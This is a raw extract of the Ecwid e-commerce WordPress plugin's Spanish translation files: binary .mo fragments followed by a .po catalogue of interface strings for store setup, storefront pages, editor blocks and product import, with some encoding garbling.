redirigidos a la página principal de la tienda cuando hacen clic en el icono del carrito, en los enlaces de la tienda ubicados en el menú del sitio web o en los productos que se encuentran en la barra lateral.�¡Su tienda ya está casi lista!�Su tienda no se añade a ninguna página de su sitio web. Para que los clientes puedan navegar por su tienda y realizar pedidos, cree una página donde se mostrará la tienda.�La página de su tienda�La página de su tienda está actualmente en un borrador. Una vez que esté lista, publíquela para que los clientes puedan visitar la tienda y realizar pedidos.�La página de su tienda está publicada. Los clientes pueden visitar su tienda en �Su tienda se mostrará aquí�¡Su tienda se mostrará aquí!�Su escaparate virtual (listado de productos y página de pago) está funcionando bien, pero las funciones avanzadas de la tienda, como el SEO y los «widgets» de la barra lateral, están inhabilitadas. Para habilitarlas y asegurarse de que su tienda funcione correctamente, pulse el botón de abajo para conectar su cuenta de %s. Esto tomará menos de un minuto; solo se le pedirá que inicie sesión en su cuenta y permita que este sitio web obtenga los datos de su tienda.�[%s] Comentarios sobre la desactivación del complemento de WordPress (ID de la tienda: %s)�personalizar apariencia�Contenido�Tienda�http://www.ecwid.com?partner=wporg�https://ecwid.to/ecwid-site�https://support.ecwid.com/hc/en-us�https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products�https://support.ecwid.com/hc/en-us/search�https://www.ecwid.com/blog�o <a %s>consulte el centro de asistencia�REF del producto�Precio del producto�seleccionar producto�producto seleccionado�Tienda en línea�Botón de «Comprar ahora»�PK������Ê—[!ÛÛ¡2¬�2¬�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_AR.ponu�„[µü¤��������# Translation of Plugins - Ecwid Ecommerce Shopping Cart - Stable (latest release) in German # This file is distributed under the same license as the Plugins - Ecwid Ecommerce Shopping Cart - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2020-10-12 12:46\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: GlotPress/3.0.0-alpha.2\n" "Language: es\n" "Project-Id-Version: temporary-strings\n" "X-Crowdin-Project: temporary-strings\n" "X-Crowdin-Project-ID: 295314\n" "X-Crowdin-Language: es-ES\n" "X-Crowdin-File: /Wordpress Plugin/wp-plugins-ecwid-shopping-cart-stable.po\n" "X-Crowdin-File-ID: 988\n" "Language-Team: Spanish\n" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:92 msgid "You can control your store look and feel on the <a %s>Design settings page</a> in your store control panel." msgstr "Puede gestionar la apariencia de su tienda en la <a %s>página de «Configuración del diseño»</a> ubicada en el panel de control de su tienda." #: includes/integrations/elementor/class-ec-elementor-widget-store.php:55 msgid "To manage your store, go to <a %s>the Store Dashboard page</a>" msgstr "Para gestionar su tienda, vaya a la <a %s>página del «Panel de su tienda»</a>" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:39 msgid "The category that is shown by default on the Store Front Page" msgstr "La categoría que se muestra de forma predeterminada en la página del escaparate virtual" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:38 msgid "Default category" msgstr "Categoría predeterminada" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:29 msgid "Online Store" msgstr "Tienda en línea" #: includes/class-ecwid-stub-renderer.php:38 msgid "Buy Now" msgstr "Comprar ahora" #: templates/admin/welcome-terms-privacy.php:5 msgid "By continuing, you agree to the <a %s>Terms of Service</a> and <a %s>Privacy Policy</a>." msgstr "Al continuar, acepta los <a %s>Términos de servicio</a> y la <a %s>Política de privacidad</a>." #: js/gutenberg/blocks.build.js:1 msgid "Display shopping cart and checkout page" msgstr "Mostrar el carrito de compras y la página de pago" #: js/gutenberg/blocks.build.js:1 msgid "Cart and Checkout" msgstr "Carrito y pago" #: js/gutenberg/blocks.build.js:1 msgid "Filters" msgstr "Filtros" #: js/gutenberg/blocks.build.js:1 msgid "You can enable filters in the store settings: (“<a target=\"_blank\" href=\"admin.php?page=ec-store-admin-product-filters-mode-main\">Settings → Product Filters</a>â€)." msgstr "Puede habilitar los filtros en la configuración de la tienda: («<a target=\"_blank\" href=\"admin.php?page=ec-store-admin-product-filters-mode-main\">Configuración → Filtros para los productos</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Search and Filters" msgstr "Búsqueda y filtros" #: js/gutenberg/blocks.build.js:1 msgid "Display search page with filters on a side" msgstr "Mostrar página de búsqueda con los filtros a un lado" #: js/gutenberg/blocks.build.js:1 msgid "Product Search and filters" msgstr "Búsqueda de productos y filtros" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your product page and manage your its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Display product page with description and a buy button" msgstr "Mostrar la página de productos con la descripción y un botón de compra" #: js/gutenberg/blocks.build.js:1 msgid "Product Card Large" msgstr "Ficha de producto ampliada" #: js/gutenberg/blocks.build.js:1 msgid "Selected category" msgstr "Categoría seleccionada" #: js/gutenberg/blocks.build.js:1 msgid "Select category" msgstr "Seleccionar categoría" #: js/gutenberg/blocks.build.js:1 msgid "Add categories" msgstr "Añadir categorías" #: js/gutenberg/blocks.build.js:1 msgid "Display category page" msgstr "Mostrar la página de categorías" #: js/gutenberg/blocks.build.js:1 msgid "Store Category Page" msgstr "Página de categorías de la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Display shopping bag link and summary" msgstr "Mostrar enlace y resumen de la bolsa de compras" #: js/gutenberg/blocks.build.js:1 msgid "Shopping Cart Icon" msgstr "Icono del carrito de compras" #: js/gutenberg/blocks.build.js:1 msgid "The block is hidden because you don't have categories in your store. <a target=\"_blank\" href=\"admin.php?page=ec-store-admin-category-id-0-mode-edit\">Add categories.</a>" msgstr "El bloque está oculto porque no tiene categorías en su tienda. <a target=\"_blank\" href=\"admin.php?page=ec-store-admin-category-id-0-mode-edit\">Añadir categorías.</a>" #: js/gutenberg/blocks.build.js:1 msgid "Categories" msgstr "Categorías" #: js/gutenberg/blocks.build.js:1 msgid "Display categories navigation bar" msgstr "Mostrar la barra de navegación de las categorías" #: js/gutenberg/blocks.build.js:1 msgid "Store Categories Menu" msgstr "Menú de categorías de la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Product Search Box" msgstr "Cuadro de búsqueda de productos" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:25 #: js/gutenberg/blocks.build.js:1 msgid "Linked product" msgstr "Producto vinculado" #: js/gutenberg/blocks.build.js:1 msgid "Display a buy button" msgstr "Mostrar un botón de compra" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:10 #: js/gutenberg/blocks.build.js:1 msgid "Buy Now Button" msgstr "Botón «Comprar ahora»" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:52 #: js/gutenberg/blocks.build.js:1 msgid "Show price inside the «Buy now» button" msgstr "Mostrar el precio dentro del botón de «Comprar ahora»" #: js/gutenberg/blocks.build.js:1 msgctxt "gutenberg-product-block" msgid "Content" msgstr "Contenido" #: js/gutenberg/blocks.build.js:1 msgid "Change" msgstr "Cambiar" #: js/gutenberg/blocks.build.js:1 msgid "Displayed product" msgstr "Producto mostrado" #: js/gutenberg/blocks.build.js:1 msgid "Display product with a buy button" msgstr "Mostrar el producto con un botón de compra" #: js/gutenberg/blocks.build.js:1 msgid "Product Card Small" msgstr "Ficha de producto reducida" #: js/gutenberg/blocks.build.js:1 msgid "Very dark gray" msgstr "Gris oscuro" #: js/gutenberg/blocks.build.js:1 msgid "Cyan bluish gray" msgstr "Gris cian azulado" #: js/gutenberg/blocks.build.js:1 msgid "Very light gray" msgstr "Gris claro" #: js/gutenberg/blocks.build.js:1 msgid "Vivid cyan blue" msgstr "Azul cian vívido" #: js/gutenberg/blocks.build.js:1 msgid "Pale cyan blue" msgstr "Azul cian pálido" #: js/gutenberg/blocks.build.js:1 msgid "Vivid green cyan" msgstr "Cian verde vívido" #: js/gutenberg/blocks.build.js:1 msgid "Light green cyan" msgstr "Cian verde claro" #: js/gutenberg/blocks.build.js:1 msgid "Luminous vivid amber" msgstr "Ãmbar vívido y brillante" #: js/gutenberg/blocks.build.js:1 msgid "Luminous vivid orange" msgstr "Naranja vívido y brillante" #: js/gutenberg/blocks.build.js:1 msgid "Vivid red" msgstr "Rojo vívido" #: js/gutenberg/blocks.build.js:1 msgid "Pale pink" msgstr "Rosa pálido" #: js/gutenberg/blocks.build.js:1 msgid "Set manually" msgstr "Configurar manualmente" #: js/gutenberg/blocks.build.js:1 msgid "Detect automatically" msgstr "Detectar automáticamente" #: js/gutenberg/blocks.build.js:1 msgid "Color settings" msgstr "Configuración de colores" #: js/gutenberg/blocks.build.js:1 msgid "Store Navigation" msgstr "Navegación en la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Store Front Page" msgstr "Página del escaparate virtual" #: js/gutenberg/blocks.build.js:1 msgid "Product sidebar content" msgstr "Contenido de la barra lateral de productos" #: js/gutenberg/blocks.build.js:1 msgid "Product Page Appearance" msgstr "Apariencia de la página del producto" #: js/gutenberg/blocks.build.js:1 msgid "Product List Appearance" msgstr "Apariencia de la lista de productos" #: js/gutenberg/blocks.build.js:1 msgid "Category List Appearance" msgstr "Apariencia de la lista de categorías" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your product page and manage its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Display cart icon" msgstr "Mostrar icono del carrito" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su tienda y poder gestionar la apariencia de su escaparate virtual desde aquí, habilite la opción «Apariencia de próxima generación de la lista de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Add storefront (product listing)" msgstr "Añadir escaparate virtual (listado de productos)" #: templates/admin/storefront/main.php:21 msgid "Customers can’t see your store page because it’s in draft. Publish the page to make it available for your customers." msgstr "Los clientes no pueden ver la página de su tienda porque está en un borrador. Publique la página para que esté disponible para sus clientes." #: templates/admin/storefront/main.php:20 msgid "The store is not visible on your site" msgstr "La tienda no es visible en su sitio web" #: templates/admin/storefront/main.php:4 msgid "Your Storefront" msgstr "Su escaparate virtual" #: templates/admin/storefront/area-promo.php:30 msgid "Help customers find your store on the site. Add the store link to the site menu, create additional store pages, and highlight store products on other site pages and in sidebars." msgstr "Ayude a los clientes a encontrar su tienda en el sitio web. Añada el enlace de la tienda al menú del sitio web, cree páginas adicionales de la tienda y resalte los productos de la tienda en otras páginas del sitio web y en las barras laterales." #: templates/admin/storefront/area-promo.php:29 msgid "Promote your store" msgstr "Promocione su tienda" #: templates/admin/storefront/area-promo.php:26 msgid "Stay connected with your customers. Update the content of your store anytime to tell customers about ongoing promotions and what's new in your store." msgstr "Manténgase conectado con sus clientes. Actualice el contenido de su tienda en cualquier momento para informarles a los clientes sobre las promociones actuales y las novedades de su tienda." #: templates/admin/storefront/area-promo.php:25 msgid "Change store content" msgstr "Cambiar el contenido de la tienda" #: templates/admin/storefront/area-promo.php:22 msgid "Customize your store’s appearance to fit your business needs. Give your store the exact look and feel that reflects your brand." msgstr "Personalice la apariencia de su tienda para que se ajuste a las necesidades de su negocio. Cree la apariencia para su tienda que más se parezca a su marca." #: templates/admin/storefront/area-promo.php:21 msgid "Customize store appearance" msgstr "Personalizar la apariencia de la tienda" #: templates/admin/storefront/area-promo.php:7 msgid "Add your %s store to the website and start selling in minutes." msgstr "Añada su tienda de %s al sitio web y comience a vender en minutos." #: templates/admin/storefront/area-promo.php:3 msgid "What's next?" msgstr "¿Qué sigue?" #: templates/admin/storefront/area-additional.php:224 msgid "Your store is added to several pages on the site. Choose the main page. Customers are directed to the main store page when they click on the cart icon, store links in the site menu, and products in the sidebar." msgstr "Su tienda se añade a varias páginas del sitio web. Elija la página principal. Los clientes son redirigidos a la página principal de la tienda cuando hacen clic en el icono del carrito, en los enlaces de la tienda ubicados en el menú del sitio web o en los productos que se encuentran en la barra lateral." #: templates/admin/storefront/area-additional.php:222 msgid "Choose the main store page" msgstr "Elegir la página principal de la tienda" #: templates/admin/storefront/area-additional.php:200 msgid "Go to Pages" msgstr "Ir a «Páginas»" #: templates/admin/storefront/area-additional.php:193 msgid "You can add the entire storefront, categories, products, or \"Buy now\" buttons to other pages on your site. To do that, open a page in the editor and add an appropriate %s block." msgstr "Puede añadir todo el escaparate virtual, las categorías, los productos o los botones de «Comprar ahora» a otras páginas de su sitio web. Para ello, abra una página en el editor y añada un bloque %s apropiado." #: templates/admin/storefront/area-additional.php:189 msgid "Add your store to other site pages" msgstr "Añada su tienda a otras páginas del sitio web" #: templates/admin/storefront/area-additional.php:166 msgid "Create Product Page" msgstr "Crear página de productos" #: templates/admin/storefront/area-additional.php:150 msgid "Pick Product" msgstr "Elegir un producto" #: templates/admin/storefront/area-additional.php:136 #: templates/admin/storefront/area-additional.php:138 msgid "Create a landing page featuring one of your products." msgstr "Cree una página de aterrizaje con uno de sus productos." #: templates/admin/storefront/area-additional.php:132 msgid "Add a product page" msgstr "Añadir página de productos" #: templates/admin/storefront/area-additional.php:109 msgid "Create Category Page" msgstr "Crear página de categorías" #: templates/admin/storefront/area-additional.php:93 msgid "Pick Category" msgstr "Elegir una categoría" #: templates/admin/storefront/area-additional.php:79 #: templates/admin/storefront/area-additional.php:81 msgid "Feature a specific store category on a separate page of your site." msgstr "Destacar una categoría de la tienda específica en una página separada de su sitio web." #: templates/admin/storefront/area-additional.php:75 msgid "Add a category page" msgstr "Añadir una página de categoría" #: templates/admin/storefront/area-additional.php:54 msgid "Create Search Page" msgstr "Crear página de búsqueda" #: templates/admin/storefront/area-additional.php:50 msgid "Show customers that they can use a search and filters to find desired products faster." msgstr "Muéstreles a los clientes que pueden utilizar la búsqueda y los filtros para encontrar los productos que deseen de forma más rápida." #: templates/admin/storefront/area-additional.php:48 msgid "Add a search and filters page" msgstr "Añadir una página de búsqueda y filtros" #: templates/admin/storefront/area-additional.php:27 msgid "Create Cart Page" msgstr "Crear página del carrito" #: templates/admin/storefront/area-additional.php:23 msgid "Customers go to the cart page to review products they’ve added to the cart and proceed to the checkout." msgstr "Los clientes van a la página del carrito para consultar los productos que han añadido al mismo y proceder con el pago." #: templates/admin/storefront/area-additional.php:21 msgid "Add cart and checkout page" msgstr "Añadir carrito y página de pago" #: templates/admin/storefront/area-additional.php:4 msgid "Highlight products, categories, and other store pages by adding them to separate website pages." msgstr "Destaque productos, categorías y otras páginas de la tienda añadiéndolas a páginas del sitio web separadas." #: templates/admin/storefront/area-additional.php:3 msgid "Additional store pages" msgstr "Páginas adicionales de la tienda" #: templates/admin/storefront/draft-message.php:2 msgid "Publish the page to use this option" msgstr "Publique la página para poder utilizar esta opción" #: templates/admin/storefront/area-design.php:55 msgid "Along with the store catalog, you can add other widgets and texts to the store page." msgstr "Junto con el catálogo de la tienda, puede añadir otros «widgets» y textos a la página de la tienda." #: templates/admin/storefront/area-design.php:54 msgid "Store page content" msgstr "Contenido de la página de la tienda" #: templates/admin/storefront/area-design.php:25 #: templates/admin/storefront/area-design.php:27 msgid "Adjust your store design to fit your business needs." msgstr "Ajuste el diseño de su tienda para que se adapte a las necesidades de su negocio." #: templates/admin/storefront/area-design.php:21 msgid "Store appearance" msgstr "Apariencia de la tienda" #: templates/admin/storefront/area-design.php:4 msgid "Personalize your storefront's appearance and edit the content on the store page to reflect your brand and stay connected with your customers." msgstr "Personalice la apariencia de su escaparate virtual y edite el contenido en la página de la tienda para reflejar su marca y mantenerse conectado con sus clientes." #: templates/admin/storefront/area-design.php:3 msgid "Design and content" msgstr "Diseño y contenido" #: templates/admin/storefront/area-status.php:124 msgid "Create Store Page" msgstr "Crear la página de la tienda" #: templates/admin/storefront/area-status.php:121 msgid "Your store is not added to any page on your site. To let customers browse your store and place orders, create a page where the store will display." msgstr "Su tienda no se añade a ninguna página de su sitio web. Para que los clientes puedan navegar por su tienda y realizar pedidos, cree una página donde se mostrará la tienda." #: templates/admin/storefront/area-status.php:115 msgid "Set Up Your Store" msgstr "Configure su tienda" #: templates/admin/storefront/area-status.php:109 msgid "To show your storefront instead of the demo store, connect your existing %s account or create a new one." msgstr "Para mostrar su escaparate virtual en lugar de la tienda de demostración, conecte su cuenta de %s existente o cree una nueva." #: templates/admin/storefront/area-status.php:101 msgid "Publish Store Page" msgstr "Publicar la página de la tienda" #: templates/admin/storefront/area-status.php:98 msgid "Your store page is currently in draft. Once you are ready, publish it to let customers browse the store and place orders." msgstr "La página de su tienda está actualmente en un borrador. Una vez que esté lista, publíquela para que los clientes puedan visitar la tienda y realizar pedidos." #: templates/admin/storefront/area-status.php:92 msgid "View Store Page" msgstr "Ver la página de la tienda" #: templates/admin/storefront/area-status.php:86 msgid "Your store page is published. Customers can browse your store at " msgstr "La página de su tienda está publicada. Los clientes pueden visitar su tienda en " #: templates/admin/storefront/area-status.php:77 msgid "View demo store page" msgstr "Ver la página de la tienda de demostración" #: templates/admin/storefront/area-status.php:46 msgid "Draft" msgstr "Borrador" #: templates/admin/storefront/area-status.php:45 msgid "Published" msgstr "Publicada" #: templates/admin/storefront/area-status.php:33 #: templates/admin/storefront/area-status.php:36 msgid "Status" msgstr "Estado" #: templates/admin/storefront/area-status.php:29 msgid "Add a store page" msgstr "Añadir una página de tienda" #: templates/admin/storefront/area-status.php:24 msgid "Connect your %s store" msgstr "Conecte su tienda de %s" #: templates/admin/storefront/area-status.php:21 msgid "Your store page" msgstr "La página de su tienda" #: templates/admin/storefront/area-status.php:10 msgid "To start selling, add a page to your site where the storefront will display." msgstr "Para comenzar a vender, añada una página a su sitio web donde se muestre el escaparate virtual." #: templates/admin/storefront/area-status.php:7 msgid "While your store is not connected, a demo store displays on your site. Check it to get the idea of how your store may look on the site." msgstr "Mientras su tienda aún no esté conectada, se mostrará una tienda de demostración en su sitio web. Échele un vistazo para tener una idea de cómo se verá su tienda en el sitio web." #: templates/admin/storefront/area-status.php:4 msgid "Store page on your site" msgstr "Página de la tienda en su sitio web" #: templates/admin/storefront/area-navigation.php:205 msgid "The shopping cart icon shows the number of items in the cart and helps customers proceed to the checkout. Additionally, you can <a href=\"%s\" target=\"_blank\">adjust the cart icon appearance</a>." msgstr "El icono del carrito de compras muestra la cantidad de artículos en el carrito y ayuda a los clientes a realizar el pago. Además, puede <a href=\"%s\" target=\"_blank\">ajustar la apariencia del icono del carrito</a>." #: templates/admin/storefront/area-navigation.php:201 msgid "Display the shopping cart icon on site pages" msgstr "Muestre el icono del carrito de compras en las páginas del sitio web" #: templates/admin/storefront/area-navigation.php:179 msgid "Manage Sidebar" msgstr "Gestionar la barra lateral" #: templates/admin/storefront/area-navigation.php:175 msgid "Highlight your best sellers or new products in the website sidebar." msgstr "Destaque sus mejores ventas o nuevos productos en la barra lateral del sitio web." #: templates/admin/storefront/area-navigation.php:173 msgid "Feature your products in the sidebar" msgstr "Destaque sus productos en la barra lateral" #: templates/admin/storefront/area-navigation.php:151 msgid "Add Store Page to Menu" msgstr "Añadir la página de la tienda al menú" #: templates/admin/storefront/area-navigation.php:147 msgid "Make your store accessible from the site menu so your customers can easily find it." msgstr "Haga que su tienda sea accesible desde el menú del sitio web para que sus clientes puedan encontrarla fácilmente." #: templates/admin/storefront/area-navigation.php:141 msgid "Add store page to the site menu" msgstr "Añadir la página de la tienda al menú del sitio web" #: templates/admin/storefront/area-navigation.php:118 msgid "Edit URL Slug" msgstr "Editar «slug» de la dirección URL" #: templates/admin/storefront/area-navigation.php:102 msgid "Current URL slug: /<span data-ec-store-slug>%s</span>" msgstr "«Slug» actual de la dirección URL: /<span data-ec-store-slug>%s</span>" #: templates/admin/storefront/area-navigation.php:78 msgid "Save" msgstr "Guardar" #: templates/admin/storefront/area-navigation.php:69 msgid "URL Slug" msgstr "«Slug» de la dirección URL" #: templates/admin/storefront/area-navigation.php:60 #: templates/admin/storefront/area-navigation.php:113 msgid "A slug is the last part of a URL. You can create a custom slug for your store page. It’s better to keep it short since customers and search engines prefer short URLs. For example, use \"/shop\" or \"/products\"." msgstr "Un «slug» es la última parte de una URL. Puede crear un «slug» personalizado para la página de su tienda. Es mejor que sea corto, ya que los clientes y los motores de búsqueda prefieren las URL cortas. Por ejemplo, utilice «/tienda» o «/productos»." #: templates/admin/storefront/area-navigation.php:56 #: templates/admin/storefront/area-navigation.php:98 msgid "Customize store page address" msgstr "Personalizar la dirección de la página de la tienda" #: templates/admin/storefront/area-navigation.php:29 msgid "Add your storefront to the website home page to make it more prominent. You can also tweak the site home page settings in <a href=\"%s\" target=\"_blank\">WordPress Settings > Reading</a>" msgstr "Añada su escaparate virtual a la página de inicio del sitio web para que sea más notable. También puede modificar la configuración de la página de inicio del sitio web en <a href=\"%s\" target=\"_blank\">Configuración de WordPress > Lectura</a>." #: templates/admin/storefront/area-navigation.php:21 msgid "Show your store on the home page" msgstr "Muestre su tienda en la página de inicio" #: templates/admin/storefront/area-navigation.php:4 msgid "Help customers find your store on the website." msgstr "Ayude a los clientes a encontrar su tienda en el sitio web." #: templates/admin/storefront/area-navigation.php:3 msgid "Navigation" msgstr "Navegación" #: templates/admin/welcome-no_oauth.php:12 msgid "Store ID is a unique identifier of your %1$s account. You can find it in your %1$s control panel on the <a %2$s>Dashboard page</a>." msgstr "El ID de la tienda es un identificador único de su cuenta de %1$s. Puede encontrarlo en su panel de control de %1$s en la <a %2$s>página del panel</a>." #: templates/admin/welcome-create.php:11 msgid "Your store has been created. Preparing your store dashboard ..." msgstr "Se ha creado su tienda. Preparando el panel de su tienda..." #: templates/admin/welcome-connect.php:8 msgid "Create store" msgstr "Crear tienda" #: templates/admin/welcome-connect.php:4 msgid "Connect Your Store" msgstr "Conecte su tienda" #: templates/admin/welcome-page.php:61 msgid "Provided by <a %s>%s</a>" msgstr "Proporcionado por <a %s>%s</a>" #: templates/admin/welcome-page.php:33 msgid "To add your store to your website, put your %1$s Store ID in the field below. If you don't have an %1$s account yet, create one for free on the <a %2$s>%1$s website</a>." msgstr "Para añadir su tienda a su sitio web, introduzca el ID de su tienda de %1$s en el campo a continuación. Si aún no tiene una cuenta de %1$s, cree una gratis en el <a %2$s>sitio web de %1$s</a>." #: templates/admin/welcome-page.php:20 msgid "Create a new store or connect an existing one, if you already have an %s account. The plugin will guide you through store setup and help publish it on your website." msgstr "Cree una nueva tienda o, si ya tiene una cuenta de %s, conéctela. El complemento le guiará a través de la configuración de la tienda y le ayudará a publicarla en su sitio web." #: templates/admin/welcome-page.php:12 msgid "Add an Online Store to Your Website" msgstr "Añadir una tienda en línea a su sitio web" #: includes/class-ecwid-store-page.php:566 msgid "This is a demo store. Create your store to see your store products here." msgstr "Esto es una tienda de demostración. Cree su tienda para ver los productos de su tienda aquí." #: includes/class-ecwid-admin-storefront-page.php:539 msgid "Publish" msgstr "Publicar" #: templates/admin/storefront/area-design.php:33 #: templates/admin/storefront/area-design.php:59 #: includes/class-ecwid-admin-storefront-page.php:532 msgid "Edit" msgstr "Editar" #: includes/class-ecwid-admin-storefront-page.php:525 msgid "Preview" msgstr "Vista previa" #: includes/class-ecwid-admin-storefront-page.php:516 msgid "Switch to draft" msgstr "Cambiar al borrador" #: includes/class-ecwid-admin-storefront-page.php:506 msgid "Edit page" msgstr "Editar página" #: includes/class-ecwid-admin-storefront-page.php:499 msgid "View store page" msgstr "Ver la página de la tienda" #: includes/class-ecwid-admin-storefront-page.php:286 msgid "Search products" msgstr "Buscar productos" #: includes/class-ecwid-admin-storefront-page.php:265 msgid "Category" msgstr "Categoría" #: includes/class-ecwid-admin-storefront-page.php:240 msgid "Page with that name already exists." msgstr "Ya existe una página con ese nombre." #: includes/class-ecwid-admin.php:538 msgid "My Profile" msgstr "Mi perfil" #: includes/class-ecwid-admin.php:533 msgid "Apps" msgstr "Aplicaciones" #: includes/class-ecwid-admin.php:523 msgid "Shipping & Pickup" msgstr "Envío y recogida" #: includes/class-ecwid-admin.php:518 msgid "Payment" msgstr "Pago" #: includes/class-ecwid-admin.php:513 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:88 msgid "Design" msgstr "Diseño" #: includes/class-ecwid-admin.php:509 msgid "Configuration" msgstr "Configuración" #: includes/class-ecwid-admin.php:504 msgid "All Sales Channels" msgstr "Todos los canales de venta" #: includes/class-ecwid-admin.php:499 msgid "Website" msgstr "Sitio web" #: includes/class-ecwid-admin.php:494 msgid "Mobile" msgstr "Móvil" #: includes/class-ecwid-admin.php:485 msgid "Sales channels" msgstr "Canales de venta" #: includes/class-ecwid-admin.php:480 msgid "Reports" msgstr "Informes" #: includes/class-ecwid-admin.php:475 msgid "Marketing" msgstr "Mercadotecnia" #: includes/class-ecwid-admin.php:470 msgid "Catalog" msgstr "Catálogo" #: includes/class-ecwid-admin.php:465 msgid "My Sales" msgstr "Mis ventas" #: includes/class-ecwid-admin.php:455 msgid "Store management" msgstr "Gestión de la tienda" #: includes/class-ecwid-admin.php:344 msgid "Instant site" msgstr "Sitio web instantáneo" #: includes/class-ecwid-admin.php:153 includes/class-ecwid-admin.php:154 #: includes/class-ecwid-admin.php:309 msgid "Storefront" msgstr "Escaparate virtual" #: ecwid-shopping-cart.php:1111 msgid "Manage storefront" msgstr "Gestionar escaparate virtual" #: ecwid-shopping-cart.php:1111 msgid "Customize design" msgstr "Personalizar el diseño" #: ecwid-shopping-cart.php:1103 msgid "Manage store" msgstr "Gestionar la tienda" #: templates/importer/woo-main.tpl.php:97 msgid "Start Import" msgstr "Iniciar la importación" #: templates/importer/woo-main.tpl.php:87 msgid "Please mind the maximum number of products and categories you can have in your Ecwid store. This import tool will automatically stop when the store products limit is reached. To check the current store limit or increase it, please see the <nobr><a %s target=\"_blank\">\"Billing & Plans\"</a></nobr> page in your Ecwid store control panel." msgstr "Tenga en cuenta el número máximo de productos y categorías que puede tener en su tienda de Ecwid. Esta herramienta de importación se detendrá automáticamente cuando se alcance el límite de productos de la tienda. Para conocer el límite actual de la tienda o aumentarlo, consulte la página <nobr><a %s target=\"_blank\">«Facturación y planes»</a></nobr> ubicada en el panel de su tienda de Ecwid." #: templates/importer/woo-main.tpl.php:82 msgid "Import creates new products and update the existing products with matching SKUs." msgstr "La importación crea nuevos productos y actualiza los productos existentes con las REF correspondientes." #: templates/importer/woo-main.tpl.php:60 msgid "Copying products and categories." msgstr "Copia de productos y categorías." #: templates/importer/woo-main.tpl.php:50 msgid "Import completed. <a href=\"%s\">Run again.</a>" msgstr "Importación completada. <a href=\"%s\">Ejecútela de nuevo.</a>" #: templates/importer/woo-main.tpl.php:34 msgid "Import is in Progress" msgstr "La importación está en progreso" #: templates/importer/woo-main.tpl.php:32 msgid "Import your products from Woocommerce to %s" msgstr "Importe sus productos de Woocommerce a %s" #: templates/importer/woo-main.tpl.php:18 msgid "Update your catalog" msgstr "Actualice su catálogo" #: templates/importer/woo-main.tpl.php:4 msgid "Import Your Products From Woocommerce to %s" msgstr "Importe sus productos de Woocommerce a %s" #: templates/importer/import-no-token.tpl.php:3 msgid "Click the connect button to get rights to update the product catalog" msgstr "Haga clic en el botón «Conectar» para obtener los permisos para actualizar el catálogo de productos" #: templates/importer/woo-complete-alert.tpl.php:52 msgid "Go to Your %s Products" msgstr "Ir a sus productos de %s" #: templates/importer/woo-complete-alert.tpl.php:43 msgid "Download <a href=\"%s\">import log</a>" msgstr "Descargar <a href=\"%s\">registro de importación</a>" #: templates/importer/woo-complete-alert.tpl.php:32 msgid "Part of the products have not been copied to %1$s, because you reached the products limit on your pricing plan in %1$s. If you want to import more products, please consider <nobr><a %2$s>upgrading your %1$s plan.</a></nobr>" msgstr "Parte de los productos no se han copiado a %1$s porque alcanzó el límite de productos en su plan de precios en %1$s. Si desea importar más productos, considere <nobr><a %2$s>actualizar su plan de %1$s.</a></nobr>" #: templates/importer/woo-complete-alert.tpl.php:21 msgid "<b>%s</b> categories" msgstr "<b>%s</b> categorías" #: templates/importer/woo-complete-alert.tpl.php:18 msgid "Imported <b>%s</b> products" msgstr "<b>%s</b> productos importados" #: templates/importer/woo-complete-alert.tpl.php:15 msgid "Import completed" msgstr "Importación completada" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:10 #: includes/widgets/class-ecwid-widget-product-browser.php:12 msgid "Online store" msgstr "Tienda en línea" #: includes/class-ecwid-store-page.php:476 msgid "%s Store Page" msgstr "Página de la tienda de %s" #: templates/advanced-settings.php:79 msgid "Integration with search on your site" msgstr "Integración con la búsqueda en su sitio web" #: templates/sync.php:130 msgid "Deleted products synchronized: %1$s out of %2$s" msgstr "Productos eliminados sincronizados: %1$s de %2$s" #: includes/class-ecwid-custom-admin-page.php:66 msgid "Themes for Ecwid" msgstr "Temas para Ecwid" #: includes/class-ecwid-custom-admin-page.php:33 msgid "Plugins for Ecwid" msgstr "Complementos 